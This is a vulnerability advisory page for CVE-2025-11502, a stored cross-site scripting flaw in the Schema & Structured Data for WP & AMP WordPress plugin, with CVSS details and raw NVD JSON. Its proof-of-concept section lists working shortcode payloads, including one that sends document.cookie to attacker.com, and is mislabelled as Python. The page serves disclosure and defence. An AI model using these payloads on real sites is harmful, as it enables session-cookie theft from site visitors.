Security Vulnerability Report
中文
CVE-2025-11502 CVSS 6.4 MEDIUM

CVE-2025-11502

Published: 2025-11-01 06:15:38
Last Modified: 2026-04-15 00:35:42

Description

The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'saswp_tiny_multiple_faq' shortcode in all versions up to, and including, 1.51 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Schema & Structured Data for WP & AMP plugin <= 1.51 (all versions up to and including 1.51)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-11502 PoC - Stored XSS via saswp_tiny_multiple_faq shortcode // Required: Contributor-level access or higher on WordPress // Method 1: Basic script injection [saswp_tiny_multiple_faq question='<script>alert(document.cookie)</script>' answer='malicious'] // Method 2: Event handler injection (more stealthy) [saswp_tiny_multiple_faq question='<img src=x onerror=alert(document.domain)>' answer='data'] [saswp_tiny_multiple_faq question='<svg onload=fetch("https://attacker.com/steal?c="+document.cookie)>' answer='content'] // Method 3: Using shortcode attributes with quotes bypass [saswp_tiny_multiple_faq question='" onmouseover="alert(1)" data-x="' answer='test']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11502", "sourceIdentifier": "[email protected]", "published": "2025-11-01T06:15:38.423", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'saswp_tiny_multiple_faq' shortcode in all versions up to, and including, 1.51 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/schema-and-structured-data-for-wp/tags/1.50/modules/tinymce/register-shortcodes.php#L120", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3387089/schema-and-structured-data-for-wp/trunk/modules/tinymce/register-shortcodes.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d664d1f9-39b1-424f-a95e-7a480d809c79?source=cve", "source": "[email protected]"}]}}